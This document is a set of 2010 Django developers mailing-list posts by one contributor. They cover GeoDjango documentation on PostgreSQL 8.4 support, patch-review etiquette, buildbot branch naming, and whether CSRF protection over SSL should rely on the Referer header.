If we do want to do that, I'd be willing to take a stab at writing up
the procedure.

-Paul


On Tue, Nov 9, 2010 at 11:31 AM, Justin Bronn <jbr...@gmail.com> wrote:
>
>
> On Nov 9, 6:25 am, Paul McMillan <p...@mcmillan.ws> wrote:
>> I opened #14527 a while ago, but it hasn't gotten much 
>> attention.http://code.djangoproject.com/ticket/14527
>>
>> It would fix the docs which claim that PostGIS doesn't support PostgreSQL 
>> 8.4.
>>
>> Can I get some GeoDjango users to chime in on this matter? I'd like to
>> see this closed one way or the other.
>>
>> -Paul
>
> As I told you in #django-dev that documentation is specific to the
> GeoDjango windows installer _only_ -- hence why it's in the "Windows
> XP" section:
>
> http://docs.djangoproject.com/en/dev/ref/contrib/gis/install/#windows-xp
>
> GeoDjango supports PostgreSQL 8.1 and above, as indicated at the top
> of the documentation:
>
> http://docs.djangoproject.com/en/dev/ref/contrib/gis/install/#spatial-database
>
> The ticket will be addressed when the windows installer is either
> updated (#14133) or discontinued due to lack of resources.
>
> -Justin
>
> --
> You received this message because you are subscribed to the Google Groups 
> "Django developers" group.
> To post to this group, send email to django-develop...@googlegroups.com.
> To unsubscribe from this group, send email to 
> django-developers+unsubscr...@googlegroups.com.
> For more options, visit this group at 
> http://groups.google.com/group/django-developers?hl=en.
>
>

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

GeoDjango and Postgresql

[Paul McMillan]

I opened #14527 a while ago, but it hasn't gotten much attention.
http://code.djangoproject.com/ticket/14527

It would fix the docs which claim that PostGIS doesn't support PostgreSQL 8.4.

Can I get some GeoDjango users to chime in on this matter? I'd like to
see this closed one way or the other.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: Tickets #12979, #11557

[Paul McMillan]

Generally, the best bet is to find someone who does NOT have commit
access (and is thus not quite so busy) to review the patches, run the
tests, and mark them as RFC. Once that has happened, the patch will
get looked at by a committer, often in reasonably short order. Good
etiquette dictates that the person marking as RFC shouldn't be someone
who opened the ticket or who submitted the patch. Often asking in
#django-dev or #django-social will turn someone up.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: A prompt 1.2.3 release

[Paul McMillan]

> Which buildbot?  http://buildbot.djangoproject.com/waterfall doesn't
> seem to be doing 1.2.X - from the logs for the ones marked 1.1.X:

My mistake. It looks like it was partially converted to 1.2.x, but not
completely - the tests run when changes are made to 1.2.x, but as you
pointed out, it's still checking out the 1.1.x branch.

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: A prompt 1.2.3 release

[Paul McMillan]

> Unfortunately we didn't catch this failure in four weeks, the fact
> that the buildbot
> isn't running tests for the 1.2.X branch doeesn't help either.

The buildbot actually is running the 1.2.x tests, it is just
unfortunately named (and apparently re-naming it is a bit of a pain so
it hasn't happened yet). Look at the actual logs of any given build to
see what's actually checked out.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: CSRF Middleware/SSL/Firefox 3.6.8 bug

[Paul McMillan]

Luke,

Your last couple replies to this thread have been very helpful. Thank
you for cogently clarifying this situation and patiently keeping at
it.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.

Re: CSRF Middleware/SSL/Firefox 3.6.8 bug

[Paul McMillan]

I've only a small voice in this matter, but I'd like to chime in on
the side of figuring out a way to solve this without requiring the
Referer header.

Regardless of what the RFC may say, I know from inspecting my logs
that I (and I assume many others) get a lot of traffic without the
header. The traffic in question isn't hand-entered URLS. People who
operate sites that appeal to certain subset of the internet population
see much higher instances of this. On some sites, my numbers show that
nearly 15% of my visitors never send a Referer.

It doesn't really matter what the cause - paranoid sysadmins, users
who install privacy plugins, or people who just disable that setting.
The point is that although you and I browse with the header turned on,
there is a sizable population that does not. Breaking the framework
for that population seems like a bad idea. It has an taste reminiscent
of the "my way or the highway, this site only works in IE 4.5" days of
yore.

That said, I don't have a good alternative solution, and certainly
prefer the current behavior over a potential XSS hole.

-Paul

-- 
You received this message because you are subscribed to the Google Groups 
"Django developers" group.
To post to this group, send email to django-develop...@googlegroups.com.
To unsubscribe from this group, send email to 
django-developers+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/django-developers?hl=en.